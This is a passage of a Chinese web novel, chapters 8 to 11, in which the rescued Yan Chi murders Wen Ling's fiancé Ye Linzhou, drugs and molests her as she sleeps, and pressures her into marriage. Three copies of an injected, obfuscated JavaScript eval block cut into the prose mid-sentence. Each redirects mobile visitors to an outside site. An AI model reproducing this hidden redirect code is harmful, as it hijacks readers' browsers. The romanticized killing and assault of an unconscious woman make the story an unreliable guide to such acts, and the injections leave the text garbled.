这下温泠和燕迟两人都沉默了,这书是她随手拿的,肯定是李怀那小子不知道什么时候买的。 要是她知道讲的是这个,她肯定不会念给燕迟听。 “好了,今天就讲到这儿。外面的雨好像停了,应该不会再打雷了,阿迟快睡吧。”她立即扯开话题,将被子给他盖好。 随后她伸了个懒腰,讲了这么久,她也有些累了。 “阿姐,快歇息。” 温泠吹灭烛灯,便推门离开了。因她在这里待了许久,一股淡淡的草药香萦绕在燕迟鼻尖处,久久不散。 回忆起她刚才念的话本子,他不免在心中冷哼一声。 村妇怎都如此蠢笨?活该被骗。 8. 成亲 这日温泠像往日一般来到河边捣洗衣裳,这里已经有很多大娘阿婆蹲坐着,一齐洗着东西。 “温娘子来啦!” 热心肠的王大娘率先和她打起了招呼,大娘早年丧夫,身边有一儿一女。儿子早些年得瘟疫病死了,女儿去年嫁给了隔壁村的打铁匠,如今也算是过得安稳。 “大娘好啊!”温泠直接来到了王大娘身旁洗衣,王大娘平日对她很好,时不时会送些自家种的果子给她。 不过大娘今日好像有些奇怪。她先是四处张望,见周边没其他人,才慢慢贴近她的耳朵对她说道:“温娘子啊,俺给你介绍一个伙子中不中嘞?那小伙,可能干了,全村的猪都是他一个人杀的!” 温泠先是一愣,随后便“噗嗤”一声笑出来:“大娘怎也当起了媒人?” 大娘神色严肃道:“温娘子俺跟你说嘞,你看你已经年方十八了,俺像你这么大孩子都有了。你看你这么些年,不是照顾阿怀就是全心扑在阿迟身上,何况那阿迟只是你捡来的。 要俺说嘞,温娘子你还是赶紧找个人嫁了,我刚才说的那杀猪的小伙就不错,人长得也俊,一看就是会疼人的!” 温泠不好直接拒绝,只好苦笑道:“谢谢大娘为我考虑,等我回去再想想。” “你要是感兴趣俺明天就将人带来给你瞅瞅,你看行不?要这事成了,俺就可以分到半头……” 王大娘意识到自己说漏嘴,尬笑两声当做什么都没发生。 “……”她就说王大娘怎么无缘无故当起了媒婆,原来是有好处啊。 她本是没有成婚的打算,这几年来她一个人也过得很好,多一人倒多了一份麻烦,更何况她还有事情要做。 但她脑海里突然想起叶临舟前几日问她的问题,只要答应他,她就可以随他一起离开这里。 到了京城,她又该如何回到温府? 可燕迟那边怎么办?她可是等了两年,还要继续等下去吗? 还有李怀,最近依然没有他的消息,他会在京城吗? 在回去的路上,她一直在思索这些问题。 忽然间,她在不远处的树林中看见了燕一抹熟悉的身影——燕迟。他一个人在哪里干什么? 温泠觉得奇怪,迟疑一番,便跟了上去。怕被他发现,她不敢跟得太近,只好在在离他几十步处停下,借着草堆遮掩着自己。 燕迟警惕环顾四周,确认再无旁人后从怀里拿出一个哨子,吹响。 静谧的林中响起奇特的声音,旋即一位蒙面人出现在燕迟面前,行礼跪下。 “主上。” 燕迟依靠在树上,手里把玩着那个哨子,语气漫不经心:“证据可找到了?” “回禀主上,属下夜潜县府,在密室中找到了真正的账本。主上不日便可启程回京。” “干的不错。” “那……主上打算如何处置温娘子?” 他指的是温泠。 燕迟拿着哨子的手一顿,索性站直身子,听不出来什么语气:“卑贱粗鄙之人,留她一命,已是开恩。” 不知为何,那村妇的模样兀地出现在他脑海之中。样貌普通,行为不堪,脑子也不好使,着实不与他相配。 他离开那日,便是他们缘尽之时,从此不复相见。 卑贱粗鄙、已是开恩。 呵呵,温泠听不下去,转身离开。没想到自己这两年来真心实意对他,最终只换来这八个字。 真是可笑。 既然他看不上自己的真心,那她也没必要将继续希望寄托在他身上,及时止损。 她心中有了新的打算。 温泠抱着浆洗衣物的木桶往回走,她心里想着事,一时没注意眼前,不小心撞上一个人。 “啪”的一声,木桶摔在地上,刚洗的衣裳全都掉了出来。 “对不起。”她这时才从思绪中抽离出来,下意识朝对方道歉。 等看清来人时,她的神色彻底冷了下来。这么宽的路,就算是闭着眼走路都不会撞到人,她就说今日自己怎么这么不小心,原来是对方故意找茬来的。 李四色眯眯看着温泠,心想自己运气真不错啊,本来还在因昨晚在赌坊中输了一大笔钱而烦闷,这下可好,今日就有美人送上门来。 那就别怪他不客气了。 温泠知晓这人是出了名地无赖,索性当没看见他,自顾自地蹲下来捡地上的衣裳。 她刚伸出手,李四那双不老实的手就摸了上来,幸亏她反应及时,快速躲开才没让他占到便宜。 “温娘子这么小气干嘛。这么俊俏的娘子天天和一个傻子待在一起,真是可惜了。”他吞了口口水,心中已然按耐不住,“干脆跟着爷去快活,爷一定让你爽死。” 温泠面上冷意更甚,手悄悄朝袖中摸去。 糟了,匕首没带在身上。 眼看李四离她越来越近,她心一横,抬脚朝他下身要害之处踹去。见李四被她踹倒在地,捂住那处直喊疼,立刻便提裙就往回跑。 “啊——疼死爷了,臭婊子,别让我抓住你……” 哼,就他还想打她的主意,下辈子吧! 真是晦气,她今日应该算算黄历再出门。地上的衣物她也懒得捡了,总归也不是她的。 温泠怕李四那家伙又追上来,便不敢松懈,快步朝前跑去。 她刚下回头望那人有没有追上来,下一秒,她撞进了一个人怀中。 “……” 这下是真的撞到人了。 许是她撞得太用力了,温泠清晰听见那人闷哼一声。她急忙往后退去,没想到又踩上了一颗石子,脚一下没站稳,身子朝旁边倒下。 那人也没料到会这样,想去抓住她的手。可没想到自己反而被她带到了地上,两人就这样齐齐摔倒在地。 “……” “……” 两人互相尴尬地看着对方,最终是温泠忍不住率先笑了出来。 “哈哈哈哈哈哈,我还是第一次见到叶先生你如此狼狈。” 她急忙起身,拍拍身上的杂草,向他伸出手:“叶先生莫不是摔傻了,还坐在地上干什么?难不成特意等我来扶?” 叶临舟如梦初醒,面上迅速染上一抹红色,不自在地咳了两声:“多、多谢。” 他借着温泠的手起身。 “说起来是我还得向先生你赔罪,若不是我,先生也不会摔倒。” 她顺手捡起地上的木盒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17450480|201173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还给叶临舟。 他却连忙摆手,磕磕绊绊地说道:“不、不用,这个本是就是送给你的。刚想去找你,没想到在这儿碰见了。” 说罢,先是看了眼温泠的反应,见她没有异色,才接着小心翼翼地问道:“那日的问题,泠娘可想好了?” 温泠抬眸一瞥,莞尔说道:“叶先生想让我如何回答?” 她将问题重新抛给他,其实她心中已经有了答案,但还是想逗弄他一番。 叶临舟怔愣片刻,面上的那抹红还没褪去,现下耳朵又开始发烫:“我……自然是按泠娘的意思来。” “叶临舟,你是真心想娶我吗?”她突然贴近他,一把拉住他的衣襟。 不知是由于太紧张,还是因为衣襟被人拉着,他顿时觉得有些喘不上气来:“在下、在下自然对泠娘一片真心,如有说谎,此生都将不得好死!” 以示忠心,他举起右手,指天为誓。 “我叶临舟若是负了温泠,天打雷劈!” 没等他说完,温泠就捂住了他的嘴:“别说了,我自然是相信你。” “我愿意和你一同去京城。”她唯一的目的也只是回到京城,报复温家。至于问他是不是真心想娶自己,自然是她最容不得他人欺骗自己。 叶临舟简直不敢相信自己的耳朵,他语气中是掩盖不住地激动之情,连说话都说不利索:“真的、真的吗?!泠娘我一定会真的待你的。” 他一把将温泠搂在怀中,丝毫没发现她与往常的不同。 “泠娘。”他细细斟酌道,“我们过几日便成亲吧,我知道这可能会有些仓促,但时间紧迫……” “嗯,我知道,我也能希望尽快成婚。”越早成婚,她才能越早离开这里。 听她说完,叶临舟将她抱得更紧了,直到温泠出声他才放开:“那木盒里面是什么?我可以打开看看吗?” 没等他作声,温泠就将那木盒打开了。 是一支精巧的木簪。 她展颜一笑,拿起木簪细细欣赏着:“好生漂亮的簪子,是你亲手做的?” 叶临舟指尖闻不可察地颤了颤,眼里满是期待:“一直见你都很少穿戴首饰,便想着亲手雕琢一支簪子给你,你可喜欢?” 温泠直接将木簪插入头发之中,问道:“好看吗?” “好看。” 木簪插得有些歪,他便想帮她扶正。温泠眼尖地捉住他的手,看着上面多出来的几条伤痕,眼中满是心疼:“一定很疼吧?” 他本欲说不碍事,可第一次见她如此担忧他,立即便改了口,语气中尽是可怜的意味:“还请泠娘疼疼我。” 温泠倒还没想到往日一本正经的他居然能说出这样的话,不免一愣。 随后抬眼直直地看向他,语气轻柔:“那我帮你吹吹可好?” 她微微凑近,对着那只手一下下轻轻地吹着气,生怕弄疼了他一般。 但她的眼神却是一直停留在他的脸上。 四眸相对,樱唇微动,氛围逐渐暧昧。就当叶临舟想俯身亲吻她时,一位不速之客突然打断了他们。 “你、们、在、干、什、么。” 每一个字都像是他从牙缝里硬生生地挤出来的。 9. 怒意 燕迟简直要被这个蠢女人气疯了,他在家等她许久都不见她回来,心中有些担心,便出来寻她。 半路遇见李四那无赖躺在地上打滚,嘴里还不知在骂骂咧咧着什么。他本无意管他,但散落在地上的衣物吸引了他注意力,那是今日温泠拿出去的。 燕迟踩着李四的手,居高临下地望着他:“我阿姐呢?” “哼,你说那贱人?她早就被我……” 没等他说下去,燕迟加重力气,几乎要将他的手踩断:“我再给你一次机会,我阿姐呢?” “啊啊啊疼、疼、疼,我说我说。”李四实在疼的受不了,嘴里不住地求饶:“我、我什么都没干,她往那个方向跑了!” 燕迟神色一冷,直接将他踹飞,一下撞到一颗树上,昏死过去。 临走前,他捡起地上的衣物,随后顺着那个方向找了过去。 等他寻到她时,就看见她和叶临舟厮混在一块,孤男寡女,不知羞耻。 好啊,真是好的很,他一个人在家等她半天,甚至还担心她生怕她出了什么事。她倒好,背着他出来和野男人幽会。 若不是他及时出言打断,她就要被那小白脸给骗了身去! 温泠没想到燕迟这时候会出现在这里,他手中似乎还拿着东西?她仔细一看,这不是被她扔下的衣服吗? 他这是特意来寻她的吗? “阿迟,你怎么来了?”温泠暂时还不想跟他挑破关系,便继续装作往日的模样。再说看燕迟那副样子,他倒是也乐在其中。 衣裳被他死死攥住,由于太过用力,他的指尖已然泛白。胸口剧烈起伏着,昭示着他内心的不平静。 燕迟极力控制自己心中的怒意,或许连他自己都搞不清这种愤怒从何而来。他眼眸一凝,落在两人紧握的双手上。 他差点就要被气笑,都什么时候了她还不愿松开他的手,难道还粘在了一起不成?可他偏偏还得装模作样地说道:“阿姐,快过来。” 如果不是温泠在场,他的拳头早就打到叶临舟脸上了。 可那女人像是没听懂一般,继续刺激着他,将两人纠缠在一起的手举起来,满脸笑意道:“阿迟我告诉你一个好消息,我要和叶临舟成婚了。” “阿迟,我们以后就是一家人了。”叶临舟笑意盈盈地对他说着。 燕迟宛如听到什么笑话,轻嗤一下,那双黑眸从她脸上划过,嘴角噙着一抹意味不明讥讽的笑。 “是么,那真是恭喜阿姐。”他的声音如同寒冬里的冰,冷得出奇。 真是可笑,现在什么阿猫阿狗都敢自称和他是一家人了。好啊,那还得看你有没有这个命享受了。 燕迟意味不明地扫了一眼温泠,转身离去。 “泠娘,阿迟他怎么了?看起来很是不对劲。” 温泠毫不在意道:“许是心情不好吧,我回去宽慰一下他就好了,你不必担心。” * 直到天黑了温泠才回到家,今日叶临舟非要留她一起吃饭,就回晚了些。 见院子内一片漆黑,她以为燕迟早已歇息,便直接进了自己的屋子。 她推开门,脚刚踏进去半只,一股突如其来的力量将她拉住,彻底没入黑暗之中。 “阿姐,别怕。”燕迟贴近她,热气扑洒在她的耳上,引起丝丝痒意。 温泠稳住呼吸,使自己看起来不是那么慌张:“阿迟,你怎么在这里?” 看来以后她确实要随身携带匕首,不然一点反抗之力都没有。刚才那一瞬间,她差点吓得连魂都没有了。 燕迟此刻将她牢牢禁锢在身前,头搁在她的肩上,闭眼嗅着她身上特有的草药香,只有这样,心里那份燥意才能渐渐停歇。 温泠感受到他身上传来的热意,他本来就生得高大,眼下两人挨得如此之近,那股压迫感就越发强劲,让她想要逃离。 她尝试挣脱,他却愈发用力,一番拉扯之后,她索性放弃了。 “阿迟,放开……我去将灯点上。” “不要。”他声音闷闷的,还带着一丝赌气的意味。 只有隐藏在黑暗中,燕迟才能真正做回自己,也才不会吓到她。 就这样僵持了许久,在温泠以为两人要站上一晚时,他突然将她松开了。 但依旧不让她将烛灯点燃。 房间内漆黑一片,她只能摸索着坐在一旁的凳子上。站了这么半天,她腿酸死了。 “阿姐,瞎。”能看上叶临舟那种人,眼睛确实不怎么好,长得贼眉鼠眼的,一看就不是什么好东西。 “……” 温泠噎住,不就是刚才不小心把他踩了一脚嘛,有必要这么骂她吗?再说是他自己不让她点灯的,被踩也是活该。 “所以这么晚了你在我屋内作甚?”她没好气道。 “阿姐,你真的欢喜叶临舟么?”燕迟借着门外透进的月光眼睛一瞬不瞬地盯着她,不愿放过她脸上任何神情。 其实她嫁给谁都与他无关,可至少在他走之前她不能同他人在一起。 至于为什么,他自己也说不上来。 “叶先生为人正直,品行高尚,我心中不胜欣喜。” 听到她亲口这么回答,好不容易压制住的那股怒意又翻涌了起来,他真想将她的心剖出来看看是不是在说谎。 真是被男人迷了心,等哪天被他骗了他可不会管她。 “是么。” 温泠只听见他留下这两字,说完便抬脚离开,连门都没关上。 她心中觉得莫名其妙,去关门时,一阵阴风吹来,让她感到有些不安。 翌日清晨,天刚蒙蒙亮,温泠便醒来了。她像往日一样去敲燕迟的门,在外喊了许久,却不见回应。 推开了,里面空无一人,连床上的被褥都还维持着昨日的模样。 温泠心中并无太多波澜,反正他注定是要离开这里的,早一天晚一天也无多大区别。 她只是眼下有些后悔,两年前不应救他的,害她白白浪费这么多时间。 将房内的被褥重新换洗之后,她跟平日一般,将草药拿出来晒在院子外面。不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17450481|201173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知不觉忙到晌午,她才意识到该吃饭了。 “阿……” 温泠本想问他饭食好了没,忽然反应过来,他已经走了,这里已经没有阿迟,这剩下她一人。 她顿时就没了胃口,拿出针线,绣起盖头。在李家村,女子婚嫁都是要亲手绣盖头,寓意着幸福美满。 昨日和叶临舟商议,将婚期定到五日之后,不日之后便启程去京城。虽说的确太过匆忙,但也是无奈之举。他还允诺以后在京城安定下来就补一场更好的给她。 温泠对这些并不在意,有没有对她来说都无所谓。 十二年过去,她终于又可以回到那里了,一个让她痛恨无比的地方。 她想得入神,一不留神被针头扎了一下,血珠立马渗了出来,滴在粗布上。 指尖传来的痛意让她回过神来,下意识将伤口含入嘴中,一股铁锈味迅速在她口中蔓延。 温泠不免在心中默默叹气,起身准备回屋。这时门外响起一阵敲门声,她愣了一下,快步走到门前。 不是她想的那个人。 “泠娘子啊,俺昨日说的你可考虑好了?”王大娘笑眯眯地说着。她手中还挎着篮子,许是刚从田中回来,顺道来问她一嘴。 还没等温泠开口,眼尖的王大娘看了她手中还未来得及放下的盖头,语气中满是惊讶:“泠娘子你、你绣着盖头干嘛?哦俺明白了,看不出来啊,你比俺还心急!” 王大娘一副看穿一切的样子,让温泠有些哭笑不得,她肯定是误会了什么。 “这不是还没来得及告诉大娘你嘛,我过几日便要和叶先生成亲。” “欸俺就知道,那小伙的条件你肯定喜欢——”话说到一半,大娘意识到不对,“叶先生?哪个叶先生?” “大娘你忘啦?专门教书的那位叶临舟叶先生啊。” 大娘这时已经不关心是叶先生还是李大哥了,她的心已经凉了一半,她的半头猪啊!就这么被人硬生生给截胡了。 痛啊,她的心很痛啊。 温泠看着王大娘一脸欲哭无泪的样子,心中觉得好笑,安慰道:“不管怎么说,还是多谢大娘的一番好意,也非常感谢这些年来大娘对我的关照。” 她拿出一个荷包,塞进大娘手中:“这是我的一份心意,还请大娘收下。” 王大娘却是连忙摆手,怎么都不愿意收下:“你这丫头把俺老婆子当什么了?!我一直把你和阿怀当成自己孩子对待,哪有收自家孩子钱的道理?这钱我不要。” “大娘你就收下吧,不瞒大娘,我就要离开这里了,也不知什么时候再回来……” 最终在她的一番劝说之下,大娘还是将它收下,同时还将今日摘下的青菜都送给了她。 除了李氏一家,整个李家村也就只有王大娘对她好了,所以温泠是真心感激她。 今晚她早早便躺下了,许是这几日事情太多,过于劳累,她很快就阖上眼,昏睡过去。 而此刻,静谧的环境中传来“呲啦”声。 门,被人从外面推开。 10. 消失 叶临舟平素在睡前都有看书的习惯,今晚他像往日一般坐在桌前,点着一支蜡烛。 可不知怎的,蜡烛突然灭了,整个屋子陷入一片漆黑之中。 他心头一颤,莫名有些慌乱。感觉到冷意吹过,他才发觉是窗户没关。 但他明明记得今日他没开过窗啊,难道是他记错了? 放下手中的书,他快步走上前将窗户关上,恍惚间,一个黑影似乎从窗外闪过。 他怀疑肯定是自己看错了,揉揉眼再仔细一看,外面只有一棵早已枯死的老树。呼呼的夜风直往里吹,带着一股寒意。 叶临舟哑笑,看来他该歇息,如今都开始眼花了。 他忽然间想到了温泠,也不知此时她歇下了没,或许他明日应该去见一见她,与她商议一下婚服的样式。 心中这般盘算着转过身,下一秒,他全身僵硬,不敢再动弹。 一把冰冷的匕首抵在他脖子上,若是他再往前一步,那锋利的刀刃就会无情刺破他的颈脖。 “你是何人?” 叶临舟脑海里飞快思考着谁会来取他性命,按理来说,没人会无缘无故对一个教书先生动手,除非来人知道自己的真实身份。 那人冷笑一声,没有回答他,却将匕首往里刺了几分。 未知的危险让他慌乱起来,脖间传来的痛意让他气息紊乱,此刻他的声音有些发抖:“你、你是谁派来的?” “怎么,不是说和我是一家人么,这会儿倒是连我都认不出来了。嗯?” 阿迟?不对,这不像他。可这人的嗓音却和阿迟一模一样。 “叶临舟,不,应该唤你沈砚之。罪臣之子,改名换姓,苟且偷生,我说的没错吧?” “你认错人了,我根本就不认识什么沈砚之。” “原来是这样啊。”屋内的蜡烛突然又亮了起来,那人拿出一个东西,放在他眼前,“那这个你总该认识吧?” “畜生,你对我长姐做了什么!”他青筋暴起,愤怒不堪,伸手便想去抢燕迟手中的玉佩。 那是他长姐贴身之物,怎会在他手中? 而此时他也彻底看清这人的模样。 “别这么着急嘛,要是你早些承认我也不至于逼迫你。”燕迟只是想简单调查一下他的身份,没想到还真让他查出些有意思的东西。 前几年一向自诩刚正不阿的沈大人居然被人查出来受人贿赂,泄露考题。皇帝一恕之下将人押入大牢,满门抄斩。当时他还可惜了一番,可怜的沈大人临死前都不知道自己是被人陷害的。 不过,他今日来可不是找他叙旧。就让他死前再多知道一些事好了,谁叫他是个“善人”呢。 燕迟放开他,转身坐在身后的椅子上。 “你不知道吧,当初真正泄露考题的另有其人,而你的父亲只不过是个背黑锅的。你猜猜,这个人是谁?” “我凭什么相信你?”他怒目而视,“你装疯扮傻扮作阿迟又是何居心?你对得起泠娘吗?” 不提温泠还好,一提她燕迟就恨不得立即杀了他。 “呵,你又有什么资格和我说话?你敢说你没有骗过她?上次你借口给你长姐治疗咳疾让她帮你上山采药,不就是想趁机除掉我么? 如果让她知晓,你说她还愿意嫁给你吗?啊,不对,因为你根本就活不过明天。” 他轻嗤一声,露出一个一切尽在掌握的从容微笑,手一下没一下地敲着扶手。 “你说什么,在下听不懂。” “我没说错的话你是晋王身边的人吧?那你可知道当年陷害你父亲的人就是晋王一派的,连断定此案也经过他的手。” 一个两个都是蠢货,心甘情愿认贼作父,沈家的门楣都被他玷污了。 他还查到叶临舟此次进京也是为了投奔晋王,为父亲洗去冤案。沈大人啊沈大人,要是你泉下有知,估计要气得跳起来将棺材盖掀开。 燕迟往外看了一眼,觉得时间差不多了,懒得跟死人在这里多说废话。 察觉到他的动作,叶临舟拼命朝门口跑去,还未等他的手碰上门,燕迟的匕首已经从身后刺透他的心脏。 他甚至听到自己皮肉撕裂的声音,胸口仿佛被人死死攥住。他瞬间瘫软在地,血汩汩不止往外冒。 燕迟很快将匕首拔出又补了两刀,喷出的血溅在他脸上,他因愉悦而引起阵阵战栗,脸上的笑容逐渐扭曲。 “阿姐,我来了。” * 燕迟小心翼翼推开门,明知道温泠中了迷药不会醒来,可他还是忍不住放轻动作。 处理好尸体之后,他特意又去沐浴一番,让身上那股恶心的血腥味完全消失后才来见她。 为了更好看清她的容颜,他点了一只火折子,虔诚地跪坐在她床边,眼神里满是疯狂的情愫。 他眯着眼轻嗅着她的香气,心中那团火愈演愈烈,让他有种想将她吞下的欲望。他喃喃地唤着她的名字,按照心中的想法,沿着她的胸口向上,摸向鼻尖那颗褐色小痣。 好可爱。 这村妇一定是给他下迷魂药了,他想。不然为什么他全身上下都在叫嚣着,想要她的爱抚。 他一边唾弃自己这卑劣的行为,却又无比沉溺于此。 既然她如此迫不及待地想要和他人成婚,那他就再当一次善人,陪她完成这场婚事。 她一定会无比感激自己,毕竟这两年来她对自己这么尽心尽力,不是爱慕他还是什么?答应叶临舟,不过是为了气他罢了。 她愿意为他做到这个份上,他临走前自然要给她一个惊喜。 他把自己送给她。 幽静的屋子内飘荡着一阵阵瘆人的笑声,还夹杂着些许轻喘声。 温泠温泠温泠温泠温泠温泠…… “啊——”温泠做了一晚的噩梦,先是梦见一条巨蛇追着她跑,后来又梦见自己被压在一座大山下,怎么也喘不过气来。 此时她大口大口呼吸着空气,胸膛随着她的动作起伏。不过,为什么她感觉整个屋子里弥漫着一股奇怪的味道,跟她之前在山上闻见的一种花香很相似。 温泠实在受不了了,起身走到窗边,将窗户打开。 这一打开可不得了,一张脸突然映入她眼帘,她吓得迅速往后退了几步,跌坐在床上。 “阿、阿迟?”他不是走了么,怎么会又人出现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17450482|201173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在这里,像鬼魂一般站在窗外。 披头散发,眼眸通红,浑身还泛着阴森森的冷气,即使是在青天白日的也无比诡异。 他歪着头,勾起一抹温泠看不懂的笑容,明明是在笑,却让人莫名打了个寒颤:“阿姐,你醒了。” 温泠不知他是何意味,径直将木窗关上,切断他的视线。 待她梳洗好之后,将门打开,果不其然,燕迟站在门外。 “阿姐,我回来了。” 温泠有意无视他,头也不抬地从他身边走过,像是根本没看见他一般。燕迟嘴上喊着阿姐,但气质却和往常截然不同。 他干脆不装了。 燕迟倒是也很有耐心,见温泠不理他,他也不觉得生气,只是像影子一样跟在她身后,她去哪,他便跟着往哪走。 不管她做什么他都觉得有意思得很。 就当温泠准备去茅房小解他也跟着时,她彻底忍不住了:“燕迟,你到底想干什么?” “呀,原来阿姐知道我叫什么啊,阿姐真是聪明,令我好生欢喜。” “……” 她没见过这么厚脸皮的人,被人戳穿了身份都毫不在意。 “你既已恢复了记忆,就不应该出现在这里。况且,我也不是你的阿姐,你又何必自降身份自取其辱?” 燕迟见她此时像一只炸了毛的猫,眼中笑意更甚。他肆无忌惮地看着她,身子朝她靠近,甚至伸出手想碰一碰她。 眼疾手快的温泠躲开了他的触碰,满脸都是厌恶。 他无所谓地摊开了双手:“既然阿姐不愿那我不碰便是了。”说罢,便向一旁走去。 “站住,你到底想干什么?” 燕迟脚步一顿,说道:“自然是给阿姐 一份惊喜。” 惊喜?温泠心中惴惴不安,总觉得有什么不好的事情要发生。 她要去找一趟叶临舟。 燕迟看着她着急的身影,垂下眼眸,落下的鸦羽遮掩了眼中的阴翳。 “临舟,临舟?”很快她就来到了叶临舟的住处,可是不管她怎么敲门都无人回应。 难道不在家?可为何门外没有上锁? 她试着推门,没想到还真被她给推开了。迟疑一番,她抬脚进屋。 屋内无人,就在她准备离开时,她发现桌上有着一封信,上面写着:泠娘亲启。 温泠困惑着拿起信,拆开信纸: 在下另有要事,至于婚约之事,就此作废。 他、他走了?这怎么可能? 她心中自然不信这些说辞,这纸上却分明是他的字迹无疑。眼下她的思绪混乱,她不知道叶临舟有什么理由不告而别,可若真是这样呢? 就像当初她的亲生父亲抛弃了她们母女一般,让娘亲在无尽痛苦中死去。 温泠的心已然凉透,由于攥得太过用力,信纸被她弄破。她浑身无力地蹲坐在地上,双眼空洞。 “阿姐我说你眼瞎你还不相信,这下你死心了吧。” 燕迟悄无声息地来到她声旁,贴着她的耳说道:“阿姐,不如和我成婚吧。” 他的嗓音低沉,比往日多了一丝魅惑。 11. 答应 “阿姐,不如和我成婚吧。” 温泠怀疑是自己精神恍惚幻听了,都不敢相信他居然会说要和自己成婚。 为什么?难不成他还真是演戏演上瘾了,如今要和她玩扮演夫妻的戏码? 她用看傻子的眼神看着他,指着自己的脑袋:“你这处还没好全?” 之前是温泠没想清楚,一心想着用恩情换他来帮助自己,可自从上次听见他那些话之后,她才清晰地认识到自己那些想法是多么可笑。 他身居高位,怎会被一个什么都没有的乡野丫头拿捏住。若他真愿意心甘情愿帮她,反倒是她应该担心是不是有更大的阴谋等着她。 还有叶临舟的不告而别,肯定跟燕迟脱不了干系。 “阿姐可否愿意?况且,我还知道李怀的下落,阿姐不是很担心他么?”她若是不愿,他也不能勉强,只好将她打晕再一起拜堂成亲。 “你想从我身上得到什么?”李怀是她如今在这个世界上唯一的亲人,甚至比她自己都重要,她绝不能容忍他出任何事,即使要拿自己作为交换。 燕迟愣住,没想到她会这么问。哈,容他想想,她身上有什么值得被他看上的地方……自然是因为她是他的所属物。 他这些年来霸道惯了,凡是他的东西,绝不允许他人染指。 自从她说她要嫁给叶临舟,他脑海里总是浮现出她和别人恩恩爱爱的画面,每每想到这些,他的心如被烈火反复灼烧,让他痛不欲生。 如今叶临舟已除,防止以后她再犯糊涂被他人蒙骗去,倒不如先让所有人都知道她是他的人。 再说,当初是她救下他,又尽心尽力照顾他这么久,如果不是因为爱慕他,那是因为什么呢? 他这样做,也算是让她得偿所愿。 见他不说话,温泠继续说道:“如果非要与我成婚也不是不行,但我有一个条件。” “你说。” “带我去京城。”早些年间温没不是没想过靠自己回到京城,可她一个女子,一个人长途跋涉本就不安全。再加上温府的阻拦,自然不可能让她那么轻易地回去,所以必须要找一个靠得住的人帮她。 之前答应叶临舟也是于此。 燕迟眉头一皱,带她回京城么…… 他确实从来没想过要将她带回去,按照之前的想法,将她养在乡中,每月让暗卫给她送一些金银财宝,女人嘛,不就是喜欢这些么。 若他得了空闲,自然会来看她。不管怎么样,先哄住她再说,反正这婚必须成。 “自然可以。” 见她没有再说拒绝的话,燕迟心中欣喜无比,也不管她愿不愿意,扣住她头,与她额头相贴,气息交缠。 “泠娘,你好香啊。” * 自从那日答应与他成婚之后,他好似真的沉浸于此。即使温泠冷着一张脸让他滚远点,他也乐此不疲地凑上前来挨骂。 她越是骂他,他兴致越发高昂。温泠没见过像他这般无赖的人,莫不是真如传闻那般,有点儿身份的人内里都多多少少有些特殊的癖好? 到后来,温泠更是懒得理他,索性把他当空气,眼不见心不烦。可他依然如同狗皮膏药一般,怎么都甩不掉,时不时凑到她身边,对她动手动脚。 今日更不知什么怎么了,一大早拉着她来到镇上,说要来选嫁衣。她连盖头都没打算绣,准备随便找件红布糊弄糊弄过去就得了。 “泠娘,这件你可喜欢?” “都行。” 铺子里的掌柜见男人衣着不凡,定是个贵客,心里乐开了花,殷勤说道:“哎呀,郎君的眼光真好,这件可是镇店之宝,多少人都抢着要它呢!况且夫人长得这般水灵,穿什么都好看!” 不知是哪个字说到了燕迟心里,他随意朝掌柜丢了一袋银子:“赏你了。” 掌柜掂了掂手里的银子,心想这袋银子可够买他大半个店里的衣裳,脸上的笑意怎么也压制不住,越发卖力朝燕迟说着讨喜的话。 温泠平日穿得都是素净的衣裳,连首饰也没有几件像样的,要是放在京城中,肯定要被那些贵女们笑话。但胜在她肤色白皙,穿什么都好看,尤其红色更衬得她明艳动人。 看了半天,勉强只有一件能入他的眼。这穷乡僻壤的也只有这一家成衣铺子,不然他肯定选更好的给她。除了嫁衣,他又将店内其他衣裙给买了下来,结账的时候掌柜高兴地恨不得给他磕一个。 “泠娘,牵着我。” 温泠本没管他径直往前走,没走几步,就被他喊住。她漠然转过头,见他眉间隐隐有不悦之意,迟疑一番,还是上前牵住他。 两人就这般并排走着,如同世间无数平常的夫妇一般。 当路过医馆时,正在门前整理账本的杨大夫正好看见了他们。 “温姑娘好久不见啊!你弟弟近来可好?” 温泠反应了一会才明白他口中的弟弟是谁,没想到杨大夫还惦记着他们。 “他……他很好,谢谢大夫关心。” “人还好就行,好久没看见你俩,老夫还以为出什么事了。这位是?”杨大夫忽然瞅见了多出来的陌生男人,往日都是阿迟站在她身旁。 虽然他眼睛越发是不行了,但看人还是准的,这人眉骨高突,眼神沉戾,浑身还充斥着杀气,一看就不是好招惹的人。温娘子怎会和这种人在一块? 温泠没有多作解释,杨大夫见状也就没有追问下去,毕竟谁还没有点秘密呢?年轻人的事嘛,总归不是那些情情爱爱,他都懂都懂。 